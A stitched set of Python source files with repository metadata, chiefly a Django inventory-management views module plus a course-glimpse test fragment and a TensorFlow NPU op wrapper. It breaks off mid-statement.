{"cta": None, "datetime": None, "text": "coming soon"} ) def test_models_course_glimpse_date_archived(self): """ Confirm glimpse datetime result when there is a course run only in the past. """ course = CourseFactory() self.create_run_archived(course) with self.assertNumQueries(2): glimpse_info = course.glimpse_info self.assertEqual( glimpse_info, {"cta": None, "datetime": None, "text": "archived"} ) def test_models_course_glimpse_date_ongoing_enrollment_closed(self): """ Confirm glimpse datetime result when there is an on-going course run but closed for enrollment. """ course = CourseFactory() self.create_run_ongoing_closed(course) with self.assertNumQueries(2): glimpse_info = course.glimpse_info self.assertEqual( glimpse_info, {"cta": None, "datetime": None, "text": "on-going"} ) def test_models_course_glimpse_date_future_enrollment_not_yet_open(self): """ Confirm glimpse datetime result when there is a future course run but not yet open for enrollment. """ course = CourseFactory() course_run = self.create_run_future_not_yet_open(course) with self.assertNumQueries(2): glimpse_info = course.glimpse_info expected_glimpse = { "cta": None, "datetime": course_run.start, "text": "starting on", } self.assertEqual(glimpse_info, expected_glimpse) # Adding an on-going but closed course run should not change the result self.create_run_ongoing_closed(course) with self.assertNumQueries(1): glimpse_info = course.glimpse_info self.assertEqual(glimpse_info, expected_glimpse) def test_models_course_glimpse_date_future_enrollment_closed(self): """ Confirm glimpse datetime result when there is a future course run but closed for enrollment. """ course = CourseFactory() course_run = self.create_run_future_closed(course) with self.assertNumQueries(2): glimpse_info = course.glimpse_info expected_glimpse = { "cta": None, "datetime": course_run.start, "text": "starting on", } self.assertEqual(glimpse_info, expected_glimpse) # Adding an on-going but closed course run should not change the result self.create_run_ongoing_closed(course) with self.assertNumQueries(1): glimpse_info = course.glimpse_info self.assertEqual(glimpse_info, expected_glimpse) def test_models_course_glimpse_date_future_enrollment_open(self): """ Confirm glimpse datetime result when there is a future course run open for enrollment. """ course = CourseFactory() course_run = self.create_run_future_open(course) with self.assertNumQueries(2): glimpse_info = course.glimpse_info expected_glimpse = { "cta": "enroll now", "datetime": course_run.start, "text": "starting on", } self.assertEqual(glimpse_info, expected_glimpse) # Adding courses in less priorietary states should not change the result self.create_run_ongoing_closed(course) self.create_run_future_closed(course) with self.assertNumQueries(1): glimpse_info = course.glimpse_info self.assertEqual(glimpse_info, expected_glimpse) def test_models_course_glimpse_date_ongoing_open(self): """ Confirm glimpse datetime result when there is an on-going course run open for enrollment. """ course = CourseFactory() course_run = CourseRunFactory( course=course, start=self.now - timedelta(hours=1), end=self.now + timedelta(hours=2), enrollment_end=self.now + timedelta(hours=1), ) with self.assertNumQueries(2): glimpse_info = course.glimpse_info expected_glimpse = { "cta": "enroll now", "datetime": course_run.enrollment_end, "text": "closing on", } self.assertEqual(glimpse_info, expected_glimpse) # Adding courses in less priorietary states should not change the result self.create_run_ongoing_closed(course) self.create_run_future_closed(course) self.create_run_future_open(course) with self.assertNumQueries(1): glimpse_info = course.glimpse_info self.assertEqual(glimpse_info, expected_glimpse)

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893

7,620

5.254199

0.115342

0.07971

0.051151

0.067136

0.835891

0.802856

0.777067

0.76428

0.735294

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0

0.005823

0.278871

7,620

198

98

38.484848

0.848044

0.235564

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0.1

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0.030769

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0.176923

0

null

0

1

0

null

0

6

630c7f6d05617b51a31a1d2c3f8e9ca321fb9bb4

2,467

py

Python

tf_adapter/python/npu_bridge/tbe/npu_vector_ops.py

Huawei-Ascend/tensorflow

67979f8cf1acbb6db6b156ee0a15d277571d4a03

[ "Apache-2.0" ]

1

2021-04-10T03:28:50.000Z

tf_adapter/python/npu_bridge/tbe/npu_vector_ops.py

Huawei-Ascend/tensorflow

67979f8cf1acbb6db6b156ee0a15d277571d4a03

[ "Apache-2.0" ]

null

tf_adapter/python/npu_bridge/tbe/npu_vector_ops.py

Huawei-Ascend/tensorflow

67979f8cf1acbb6db6b156ee0a15d277571d4a03

[ "Apache-2.0" ]

null

# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Copyright (C) 2019-2020. Huawei Technologies Co., Ltd. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Ops for aicore cube.""" from tensorflow import Tensor from tensorflow.python.eager import context from npu_bridge.helper import helper gen_npu_ops = helper.get_gen_ops() def lamb_apply_optimizer_assign(input0, input1, input2, input3, mul0_x, mul1_x, mul2_x, mul3_x, add2_y, steps, do_use_weight, weight_decay_rate, name=None): if context.executing_eagerly(): raise RuntimeError("tf.lamb_apply_optimizer_assign() is not compatible with " "eager execution.") update, nextv, nextm = gen_npu_ops.lamb_apply_optimizer_assign(input0, input1, input2, input3, mul0_x, mul1_x, mul2_x, mul3_x, add2_y, steps, do_use_weight, weight_decay_rate, name) return update, nextv, nextm def lamb_apply_weight_assign(input0, input1, input2, input3, input4, name=None): if context.executing_eagerly(): raise RuntimeError("tf.lamb_apply_weight_assign() is not compatible with " "eager execution.") result = gen_npu_ops.lamb_apply_weight_assign(input0, input1, input2, input3, input4, name) return result

51.395833

122

0.703283

344

2,467

4.906977

0.360465

0.07109

0.030806

0.037915

0.830569

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0.773697

0

0.024072

0.191731

2,467

48

123

51.395833

0.822467

0.518849

0

0.222222

0

0.121972

0.052768

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1

0.111111

false

0

0.166667

0

0.388889

0

null

0

1

0

null

0

6

632bbf1277465e6aebef60172d464cc29fee75df

168

py

Python

apps/employees/models/__init__.py

wis-software/office-manager

0342d2cf9b3e4779f3e3d2a4faba6768e95047b1

[ "MIT" ]

7

2017-09-28T11:20:43.000Z

2020-01-18T23:23:52.000Z

apps/employees/models/__init__.py

wis-software/office-manager

0342d2cf9b3e4779f3e3d2a4faba6768e95047b1

[ "MIT" ]

1

2019-03-12T18:16:12.000Z

2019-03-12T20:17:40.000Z

apps/employees/models/__init__.py

wis-software/office-manager

0342d2cf9b3e4779f3e3d2a4faba6768e95047b1

[ "MIT" ]

7

2017-09-27T11:12:25.000Z

2019-04-04T13:24:01.000Z

from apps.employees.models.position import Position from apps.employees.models.specialization import Specialization from apps.employees.models.employee import Employee

42

63

0.875

21

168

7

0.380952

0.163265

0.346939

0.469388

0

0.071429

168

3

64

56

0.942308

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

2d67917c15b6f46511efe26639a5a027e88251ea

161

py

Python

video_production/annotations/team.py

OddballSports-tv/obies-eyes

2dd4fc9686f852b9adf89edd3246ad642063ac8b

[ "Apache-2.0" ]

null

video_production/annotations/team.py

OddballSports-tv/obies-eyes

2dd4fc9686f852b9adf89edd3246ad642063ac8b

[ "Apache-2.0" ]

1

2022-02-19T20:40:44.000Z

video_production/annotations/team.py

OddballSports-tv/obies-eyes

2dd4fc9686f852b9adf89edd3246ad642063ac8b

[ "Apache-2.0" ]

null

# imports from .annotation import Annotation import cv2 class Team(Annotation): def _annotate(self, frame, team=None, *args, **kwargs): return frame

23

59

0.714286

20

161

5.7

0.75

0.280702

0

0.007634

0.186335

161

7

60

23

0.862595

0.043478

0

1

0.2

false

0

0.4

0.2

1

0

1

0

null

1

0

1

0

null

0

1

0

6

2d936a5001d4613edc5fe87e1c5821e5e3d5e5f5

44,937

py

Python

inventory/views.py

Kgford/TCLI

fe35abdf6771bcecc6c255b22faa513011ab9b9b

[ "BSD-3-Clause" ]

null

inventory/views.py

Kgford/TCLI

fe35abdf6771bcecc6c255b22faa513011ab9b9b

[ "BSD-3-Clause" ]

1

2020-08-02T17:13:59.000Z

inventory/views.py

Kgford/TCLI

fe35abdf6771bcecc6c255b22faa513011ab9b9b

[ "BSD-3-Clause" ]

null

from django import forms import json from django.shortcuts import render from django.http import HttpResponseRedirect from django.http import JsonResponse from django.core import serializers from .forms import InventoryForm from datetime import date from django.urls import reverse, reverse_lazy from equipment.models import Model from locations.models import Location from inventory.models import Inventory, Events from django.views import View import datetime from django.contrib.auth.decorators import login_required # Create your views here. class InventoryView(View): ''' #~~~~~~~~~~~Load Item database from csv. must put this somewhere else later" import csv timestamp = date.today() import csv timestamp = date.today() CSV_PATH = 'items.csv' print('csv = ',CSV_PATH) contSuccess = 0 # Remove all data from Table #Inventory.objects.all().delete() f = open(CSV_PATH) reader = csv.reader(f) print('reader = ',reader) for category, shelf, modelname, serial_number, description, locationname, status, remarks,last_update,update_by in reader: Inventory.objects.create(category=category, shelf=shelf, modelname=modelname, serial_number=serial_number, description=description, locationname=locationname, status=status, remarks=remarks, last_update=datetime.datetime.strptime(last_update, '%m/%d/%Y'), update_by=update_by) contSuccess += 1 print(f'{str(contSuccess)} inserted successfully! ') ''' ''' #~~~~~~~~~~~Load Events database from csv. must put this somewhere else later" import csv timestamp = date.today() CSV_PATH = 'events.csv' print('csv = ',CSV_PATH) contSuccess = 0 # Remove all data from Table Events.objects.all().delete() f = open(CSV_PATH) reader = csv.reader(f) print('reader = ',reader) for event_type, event_date, operator, comment, inventory_id, locationname, rma, rtv, mr, in reader: print('event date=',event_date) Events.objects.create(event_type=event_type, event_date=datetime.datetime.strptime(event_date, '%m/%d/%Y'), operator=operator,comment=comment, locationname=locationname, mr=mr, rtv =rtv, rma =rma, inventory_id=inventory_id) contSuccess += 1 print(f'{str(contSuccess)} inserted successfully! ') #~~~~~~~~~~~Load Events database from csv. must put this somewhere else later" ''' ''' import csv timestamp = date.today() CSV_PATH = 'locations.csv' print('csv = ',CSV_PATH) contSuccess = 0 # Remove all data from Table Location.objects.all().delete() f = open(CSV_PATH) reader = csv.reader(f) print('reader = ',reader) for name, address, city, state,zip_code, phone, email, website, lat, lng, created_on ,last_entry in reader: if lat=="": lat=40.815320 if lng=="": lng=-73.237710 Location.objects.create(name=name, address=address, city=city, state=state, zip_code=zip_code, phone=phone, email=email, website=website,active=True, lat=float(lat), lng=float(lng), created_on=timestamp, last_entry=timestamp) contSuccess += 1 print(f'{str(contSuccess)} inserted successfully! ') ''' #load_iventory_csv(True) #load_events_csv(True) form_class = InventoryForm template_name = "index.html" success_url = reverse_lazy('inventory:inv') def get(self, *args, **kwargs): form = self.form_class() try: description=-1 category=-1 model=-1 status=-1 locationname=-1 shelf=-1 search=-1 print("in GET") desc_list = Inventory.objects.order_by('description').values_list('description', flat=True).distinct() models_list = Inventory.objects.order_by('modelname').values_list('modelname', flat=True).distinct() categorys_list = Inventory.objects.order_by('category').values_list('category', flat=True).distinct() status_list = Inventory.objects.order_by('status').values_list('status', flat=True).distinct() locations_list = Inventory.objects.order_by('locationname').values_list('locationname', flat=True).distinct() shelves_list = Inventory.objects.order_by('shelf').values_list('shelf', flat=True).distinct() inv = Inventory.objects.all() except IOError as e: print ("Lists load Failure ", e) print('error = ',e) return render (self.request,"inventory/index.html",{"form": form, "inventory": inv, "desc_list":desc_list, "status_list":status_list, "models_list":models_list, "locations_list":locations_list, "shelves_list":shelves_list,"categorys_list":categorys_list, "index_type":"INVENTORY", 'description':description,'model':model,'status':status, 'category':category, 'locationname':locationname, 'shelf':shelf,'search':search}) def post(self, request, *args, **kwargs): try: #print("in POST") json_data = [] inv_list = [] inv = [] form = self.form_class() #print('request =',request) model = request.POST.get('_model', -1) #print('model = ',model) description = request.POST.get('_desc', -1) #print('description = ',description) status = request.POST.get('_status', -1) #print('status =',status) category = request.POST.get('_category', -1) #print('category =',category) locationname = request.POST.get('_site', -1) #print('locationname =',locationname) shelf = request.POST.get('_shelf', -1) #print('shelf =',shelf) select = request.POST.get('sel', -1) #print('select =',select) search = request.POST.get('search', -1) #print('search =',search) print_report = request.POST.get('monthly_report', -1) #print('print_report =',print_report) success = True desc_list = Inventory.objects.order_by('description').values_list('description', flat=True).distinct() models_list = Inventory.objects.order_by('modelname').values_list('modelname', flat=True).distinct() categorys_list = Inventory.objects.order_by('category').values_list('category', flat=True).distinct() status_list = Inventory.objects.order_by('status').values_list('status', flat=True).distinct() locations_list = Inventory.objects.order_by('locationname').values_list('locationname', flat=True).distinct() shelves_list = Inventory.objects.order_by('shelf').values_list('shelf', flat=True).distinct() if not search ==-1: inv_list = Inventory.objects.filter(description__icontains=search) | Inventory.objects.filter(modelname__icontains=search) | Inventory.objects.filter(status__icontains=search) | Inventory.objects.filter(category__icontains=search) | Inventory.objects.filter(locationname__icontains=search) | Inventory.objects.filter(serial_number__contains=search) | Inventory.objects.filter(shelf__icontains=search).all() elif description == "select menu" and model == "select menu" and status == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select": inv_list = Inventory.objects.all() elif not category =="select menu": if description == "select menu" and model == "select menu" and status == "select menu" and locationname == "select menu" and shelf == "select":#category only inv_list = Inventory.objects.filter(category=category).all() if not model == "select menu" and status == "select menu" and locationname == "select menu" and shelf == "select": #category & model inv_list = Inventory.objects.filter(category=category, modelname__contains=model).all() if not model == "select menu" and not status == "select menu" and locationname == "select menu" and shelf == "select": #category & status & model & description inv_list = Inventory.objects.filter(category=category, modelname__contains=model, status__contains=status).all() if not model == "select menu" and not status == "select menu" and not locationname == "select menu" and shelf == "select": #category & status & model & description inv_list = Inventory.objects.filter(category=category, modelname__contains=model, status__contains=status, locationname__contains=locationname).all() if not model == "select menu" and not status == "select menu" and not locationname == "select menu" and not shelf == "select": #category & status & model & description & cat iinv_list = Inventory.objects.filter(category=category, modelname__contains=model, status__contains=status, locationname__contains=locationname, shelf__contains=shelf).all() if not model == "select menu" and not status == "select menu" and not locationname == "select menu" and not shelf == "select" and not description == "select menu" : #category & status & model & description & cat iinv_list = Inventory.objects.filter(category=category, modelname__contains=model, status__contains=status, locationname__contains=locationname, shelf__contains=shelf, description__icontains=description).all() elif not model =="select menu": if description == "select menu" and status == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select":#model only inv_list = Inventory.objects.filter(modelname__contains=model).all() if not category == "select menu" and status == "select menu" and description == "select menu" and locationname == "select menu" and shelf == "select": #model & description inv_list = Inventory.objects.filter(modelname__icontains=model, category_icontains=category ).all() if not category == "select menu" and not status == "select menu" and description == "select menu" and locationname == "select menu" and shelf == "select": #model & description & status inv_list = Inventory.objects.filter(modelname__icontains=model,category=category, status__contains=status).all() if not category == "select menu" and not status == "select menu" and not description == "select menu" and locationname == "select menu" and shelf == "select": #model & status inv_list = Inventory.objects.filter(modelname__icontains=model,category=category, status__contains=status, description__icontains=description).all() if not category == "select menu" and not status == "select menu" and not description == "select menu" and not locationname == "select menu" and shelf == "select": #model & description & status & cat inv_list = Inventory.objects.filter(modelname__icontains=model,category=category, status__contains=status,description__icontains=description,locationname__icontains=locationname).all() if not category == "select menu" and not status == "select menu" and not description == "select menu" and not locationname == "select menu" and shelf == "select": #model & description & status & cat' loc inv_list = Inventory.objects.filter(dmodelname__icontains=model,category=category, status__contains=status, description__icontains=description,locationname__icontains=locationname).all() if not category == "select menu" and not status == "select menu" and not description == "select menu" and not locationname == "select menu" and not shelf == "select": #model & description & status & cat' loc & shelf inv_list = Inventory.objects.filter(modelname__icontains=model,category_icontains=category, status__contains=status, description__icontains=description, locationname__icontains=locationname, shelf__contains=shelf).all() elif not status =="select menu": if description == "select menu" and model == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select":#status only inv_list = Inventory.objects.filter(status__contains=status).all() if not model == "select menu" and not status == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select": #status & model inv_list = Inventory.objects.filter(status__contains=status, modelname__contains=model).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and locationname == "select menu" and shelf == "select": #status & description inv_list = Inventory.objects.filter(status__contains=status, modelname__contains=model,category=category).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and not locationname == "select menu" and shelf == "select": #status & model & description inv_list = Inventory.objects.filter(status__contains=status, modelname__contains=model,category=category, locationname__icontains=locationname).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and not locationname == "select menu" and shelf == "select": #status & model & description & cat inv_list = Inventory.objects.filter(status__contains=status, modelname__contains=model,category=category, locationname__icontains=locationname).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and not locationname == "select menu" and not shelf == "select": #status & model & description & cat' loc inv_list = Inventory.objects.filter(status__contains=status, modelname__contains=model,category=category, locationname__icontains=locationname, shelf__contains=shelf).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and not locationname == "select menu" and not shelf == "select" and not description == "select menu" : #status & model & description & cat' loc & shelf inv_list = Inventory.objects.filter(status__contains=status, modelname__contains=model,category=category, locationname__icontains=locationname, shelf__contains=shelf, description__icontains=description).all() elif not locationname =="select menu": if description == "select menu" and model == "select menu" and status == "select menu" and category == "select menu" and shelf == "select":#locationname only inv_list = Inventory.objects.filter(locationname__contains= locationname).all() if not shelf == "select menu" and status == "select menu" and category == "select menu" and category == "select menu" and model == "select": #locationname & model inv_list = Inventory.objects.filter(locationname__contains=locationname, shelf__contains=shelf).all() if not shelf == "select menu" and not status == "select menu" and category == "select menu" and category == "select menu" and shelf == "select": #locationname & status & model & description inv_list = Inventory.objects.filter(locationname__contains=locationname, shelf__contains=shelf,status__contains=status).all() if not shelf == "select menu" and not status == "select menu" and not category == "select menu" and category == "select menu" and shelf == "select": #locationname & status & model & description & cat inv_list = Inventory.objects.filter(locationname__contains=locationname,shelf__contains=shelf, status__contains=status, category__contains=category).all() if not shelf == "select menu" and not status == "select menu" and not locationname == "select menu" and not category == "select menu" and shelf == "select": #locationname & status & model & description & cat inv_list = Inventory.objects.filter(locationname__contains=locationname, shelf__contains=shelf, description__contains=description, status__contains=status, category=category).all() if not shelf == "select menu" and not status == "select menu" and not category == "select menu" and not category == "select menu" and not shelf == "select" and not modelname == "select": #locationname & status & model & description & cat & shelf inv_list = Inventory.objects.filter(locationname__contains=locationname, shelf__contains=shelf, description__contains=description, status__contains=status, category=category, modelname__contains=model).all() elif not shelf =="select": if description == "select menu" and model == "select menu" and status == "select menu" and category == "select menu" and locationname == "select menu":#locationname only inv_list = Inventory.objects.filter(shelf__contains=shelf).all() if not locationname == "select menu" and status == "select menu" and category == "select menu" and category == "select menu" and model == "select menu": #locationname & model inv_list = Inventory.objects.filter(shelf__contains=shelf, locationname__contains=locationname).all() if not locationname == "select menu" and not status == "select menu" and category == "select menu" and category == "select menu" and model == "select menu": #locationname & status & model & description inv_list = Inventory.objects.filter(shelf__contains=shelf, locationname__contains=locationname, status__contains=status).all() if not locationname == "select menu" and not status == "select menu" and not category == "select menu" and category == "select menu" and model == "select menu": #locationname & status & model & description & cat inv_list = Inventory.objects.filter(shelf__contains=shelf, locationname__contains=locationname, category__contains=category, status__contains=status).all() if not locationname == "select menu" and not status == "select menu" and not category == "select menu" and not category == "select menu" and locationname == "select menu": #locationname & status & model & description & cat inv_list = Inventory.objects.filter(shelf__contains=shelf, locationname__contains=v, status__contains=status, category__contains=category).all() if not locationname == "select menu" and not status == "select menu" and not category == "select menu" and not category == "select menu" and not model == "select menu": #locationname & status & model & description & cat & shelf inv_list = Inventory.objects.filter(shelf__contains=shelf, locationname__contains=locationname, description__contains=desc, status__contains=status, category__contains=category, modelname__contains=model).all() elif not description =="select menu": if model == "select menu" and status == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select": #All inv_list = Inventory.objects.filter(description__contains=description).all() if not model == "select menu" and status == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select": #description, model inv_list = Inventory.objects.filter(description__contains=description, modelname__contains=model).all() if model == "select menu" and not status == "select menu" and category == "select menu" and locationname == "select menu" and shelf == "select": #description&status inv_list = Inventory.objects.filter(description__contains=description, modelname__contains=model, status__contains=status).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and locationname == "select menu" and shelf == "select": #description & model, status, cat inv_list = Inventory.objects.filter(description__contains=description, modelname__contains=model, status__contains=status,ategory__contains=category).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and not locationname == "select menu" and shelf == "select": #description, model, status, cat' loc inv_list = Inventory.objects.filter(description__contains=description, modelname__contains=model, status__contains=status, category=category, locationname__contains=locationname).all() if not model == "select menu" and not status == "select menu" and not category == "select menu" and not locationname == "select menu" and not shelf == "select": #description & model & status & cat' loc & shelf inv_list = Inventory.objects.filter(description__contains=description, modelname__contains=model, status__contains=status, category=category, locationname__contains=locationname, shelf__contains=shelf).all() else: inv_list ==None except IOError as e: inv_list = None print ("Lists load Failure ", e) #print('inv_list',inv_list) return render (self.request,"inventory/index.html",{"form": form, "inventory": inv_list, "desc_list":desc_list, "status_list":status_list, "models_list":models_list, "locations_list":locations_list, "shelves_list":shelves_list,"categorys_list":categorys_list, "index_type":"INVENTORY", 'description':description,'model':model,'status':status, 'category':category, 'locationname':locationname, 'shelf':shelf,'search':search}) # Create your views here. class SearchView(View): template_name = "search.html" print('in search view') def get(self, *args, **kwargs): form = self.form_class() #print('we are here') try: desc_list = Model.objects.order_by('description').values_list('description', flat=True).distinct() models_list = Inventory.objects.order_by('modelname').values_list('modelname', flat=True).distinct() categorys_list = Inventory.objects.order_by('category').values_list('category', flat=True).distinct() status_list = Inventory.objects.order_by('status').values_list('status', flat=True).distinct() locations_list = Inventory.objects.order_by('locationname').values_list('locationname', flat=True).distinct() shelves_list = Inventory.objects.order_by('shelf').values_list('shelf', flat=True).distinct() inv = Inventory.objects.all() except IOError as e: print ("Lists load Failure ", e) print('error = ',e) return render (self.request,"inventory/index.html",{"form": form, "inventory": inv, "desc_list":desc_list, "status_list":status_list, "models_list":models_list, "locations_list":locations_list, "shelves_list":shelves_list,"categorys_list":categorys_list, "index_type":"INVENTORY"}) def post(self, *args, **kwargs): form = self.form_class() #print(form) #print('we are here') def load_iventory_csv(delete): #~~~~~~~~~~~Load Item database from csv. must put this somewhere else later" import csv timestamp = date.today() CSV_PATH = 'items.csv' #print('csv = ',CSV_PATH) contSuccess = 0 # Remove all data from Table if delete: Inventory.objects.all().delete() f = open(CSV_PATH) reader = csv.reader(f) print('reader = ',reader) for category, shelf, modelname, serial_number, description, locationname, status, remarks, site_quantity, field_quantity, repair_quantity,last_update, update_by in reader: Inventory.objects.create(shelf=shelf,serial_number=serial_number, modelname=modelname, description=description, locationname=locationname, category=category,status=status, site_quantity=site_quantity, field_quantity=field_quantity,repair_quantity=repair_quantity, remarks=remarks, last_update=datetime.datetime.strptime(last_update, '%m/%d/%Y'), update_by=update_by) contSuccess += 1 print(f'{str(contSuccess)} inserted successfully! ') def load_events_csv(delete): #~~~~~~~~~~~Load Item database from csv. must put this somewhere else later" import csv timestamp = date.today() #~~~~~~~~~~~Load Events database from csv. must put this somewhere else later" CSV_PATH = 'events.csv' #print('csv = ',CSV_PATH) contSuccess = 0 # Remove all data from Table if delete: Events.objects.all().delete() f = open(CSV_PATH) reader = csv.reader(f) print('reader = ',reader) for event_type, event_date, operator, comment,locationname, inventory_id, rma, rtv, mr, in reader: Events.objects.create(event_type=event_type, event_date=datetime.datetime.strptime(event_date, '%m/%d/%Y'), operator=operator,comment=comment, locationname=locationname, mr=mr, rtv =rtv, rma =rma, inventory_id=inventory_id) contSuccess += 1 print(f'{str(contSuccess)} inserted successfully! ') #~~~~~~~~~~~Load Events database from csv. must put this somewhere else later" def update_inv(request): if request.method == 'POST': update_inv = request.POST.get('update_inv', -1) inventory_id = request.POST.get('i_id', -1) del_inv = request.POST.get('del_inv', -1) operator = request.POST.get('_operator', -1) event = 'n/a' #print('inventory_id =',inventory_id) active_inv = Inventory.objects.filter(id=inventory_id) #print(active_inv) active_inv = active_inv[0] #print(active_inv.description) mname = active_inv.modelname model = Model.objects.filter(model__contains=mname) model = model[0] image_file = model.image_file if image_file == None: image_file = 'inventory/images/inv1.jpg' #print(image_file) locations_list = Location.objects.order_by('name').values_list('name', flat=True).distinct() shelves_list = Location.objects.order_by('shelf').values_list('shelf', flat=True).distinct() categorys_list = Inventory.objects.order_by('category').values_list('category', flat=True).distinct() event_list = Events.objects.filter(inventory_id=inventory_id).all() models_list = Model.objects.order_by('model').values_list('model', flat=True).distinct() #print('del_inv =',del_inv) #print('update_inv =',update_inv) if not del_inv==-1: try: #update item Inventory.objects.filter(id=inventory_id).delete() print('delete complete') except IOError as e: print ("Events Save Failure ", e) return HttpResponseRedirect(reverse('inventory:inven')) elif not update_inv==-1: return render (request,"inventory/items.html",{"today":date.today(), "locations_list":locations_list, "models_list":models_list, 'active_inv':active_inv}) return render (request,"inventory/item.html",{"active_inv":active_inv, "image_file":image_file,"event_list":event_list, "today":date.today(), "locations_list":locations_list, "shelf_list":shelves_list,'event':event,'active_operator':request.user}) def save_event(request): if request.method == 'POST': timestamp = date.today() update_inv = request.POST.get('update_inv', -1) del_inv = request.POST.get('del_inv', -1) event_id = request.POST.get('e_id', -1) inventory_id = request.POST.get('i_id', -1) operator = request.POST.get('_operator', -1) event_type = request.POST.get('_event', -1) event_date = request.POST.get('_date', -1) locationname = request.POST.get('_site', -1) mr = request.POST.get('_mr', -1) rtv = request.POST.get('_rtv', -1) rma = request.POST.get('_rma', -1) comment = request.POST.get('_comments', -1) save = request.POST.get('_save', -1) update = request.POST.get('_update', -1) delete = request.POST.get('_delete', -1) locations_list = Location.objects.order_by('name').values_list('name', flat=True).distinct() shelves_list = Location.objects.order_by('shelf').values_list('shelf', flat=True).distinct() event_list = Events.objects.filter(inventory_id=inventory_id).all() models_list = Model.objects.order_by('model').values_list('model', flat=True).distinct() event = 'n/a' active_inv = Inventory.objects.filter(id=inventory_id) active_inv = active_inv[0] mname = active_inv.modelname model = Model.objects.filter(model__contains=mname) model = model[0] image_file = model.image_file if not del_inv==-1: try: #update item Inventory.objects.filter(id=inventory_id).delete() print('delete complete') except IOError as e: print ("Events Save Failure ", e) return HttpResponseRedirect(reverse('inventory:inven')) elif not update_inv==-1: return render (request,"inventory/items.html",{"today":date.today(), "locations_list":locations_list, "models_list":models_list, "shelf_list":shelves_list,'active_inv':active_inv}) elif not save==-1: try: #save new event if comment=="'\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'" or comment=='' or comment==-1: comment="New event",event_id," created" Events.objects.create(event_type=event_type, event_date=event_date, operator=operator, comment=comment, locationname=locationname,mr=mr, rma=rma,rtv=rtv, inventory_id=inventory_id) #update item Inventory.objects.filter(id=inventory_id).update(remarks=comment,locationname=locationname,update_by=operator,last_update=timestamp) except IOError as e: print ("Events Save Failure ", e) elif not update==-1: try: print('event date',event_date) if comment=="'\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'" or comment=='' or comment==-1: comment="Event",event_id," updated" print('event date',event_date) #update existing event Events.objects.filter(id=event_id).update(event_type=event_type,event_date=event_date,locationname=locationname,operator=operator, comment=comment,mr=mr,rma=rma) #update item Inventory.objects.filter(id=inventory_id).update(remarks=comment,locationname=locationname,update_by=operator,last_update=timestamp) except IOError as e: print ("Events Update Failure ", e) elif not delete==-1: try: if comment=="'\t\t\t\t\t\t\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t'" or comment=='' or comment==-1: comment="Event",event_id," deleted" #delete existing event Events.objects.filter(id=event_id).delete() #update item Inventory.objects.filter(id=inventory_id).update(remarks=comment,locationname=locationname,update_by=operator,last_update=timestamp) except IOError as e: print ("Events Update Failure ", e) if image_file == None: image_file = 'inventory/images/inv1.jpg' #print(image_file) #print('operator=',operator) return render (request,"inventory/item.html",{"active_inv":active_inv, "image_file":image_file,"event_list":event_list, "today":date.today(), "locations_list":locations_list, "shelf_list":shelves_list,'event':event,'active_operator':operator}) def items(request): desc_list = [] models_list = [] locations_list = [] shelves_list = [] timestamp = date.today() operator = request.user #print(timestamp) if request.method == 'POST': inventory_id = request.POST.get('inventory_id', -1) #print(inventory_id) description = request.POST.get('_desc', -1) #print('description =',description) category = request.POST.get('_cat', -1) #print('category=',category) status = request.POST.get('_stat', -1) #print(status) model = request.POST.get('_model', -1) #print('model=',model) purchase_order = request.POST.get('_po', -1) #print(purchase_order) serial_number = request.POST.get('_sn', -1) #print('serial_number=',serial_number) activestr = request.POST.get('_active', -1) if activestr =='True' or activestr=='true': active=True elif activestr =='False' or activestr =='false': active=False else: active=True #print(active) location = request.POST.get('_site', -1) #print('location =',location) shelf = request.POST.get('_shelf', -1) #print('shelf=',shelf) remarks = request.POST.get('_remarks', -1) #print(remarks) model_id = Model.objects.filter(model__contains=model) #print('model_id=',model_id) model_id=model_id[0].id #print('model_id=',model_id) location_id = Location.objects.filter(name=location) location_id=location_id[0].id #print('location_id=',location_id) shelf_id = Location.objects.filter(name=shelf) #shelf_id=shelf_id[0].id #print('shelf_id=',shelf_id) save = request.POST.get('_save', -1) #print('save',save) update = request.POST.get('_update', -1) #print('update',update) operator = request.POST.get('_operator', -1) if operator==-1: operator = str(request.user) #print('operator',operator) try: if not save ==-1: # Add new Inventory item Inventory.objects.create(serial_number=serial_number, modelname=model,description=description, locationname=location, shelf=shelf, category=category, model_id=model_id, status=status,remarks=remarks, purchase_order=purchase_order, active=activestr, last_update=timestamp, update_by=operator) Events.objects.create(event_type="ADD NEW", event_date=timestamp, operator=operator, comment="New Inventory Item", locationname=location, inventory_id=inventory_id) elif not update==-1: # Add new Inventory item #print('inventory_id=',inventory_id) Inventory.objects.filter(id=inventory_id).update(serial_number=serial_number, modelname=model,description=description, locationname=location, shelf=shelf, category=category, model_id=model_id, status=status,remarks=remarks, purchase_order=purchase_order, active=activestr, last_update=timestamp, update_by=operator) Events.objects.create(event_type="UPDATE ITEM", 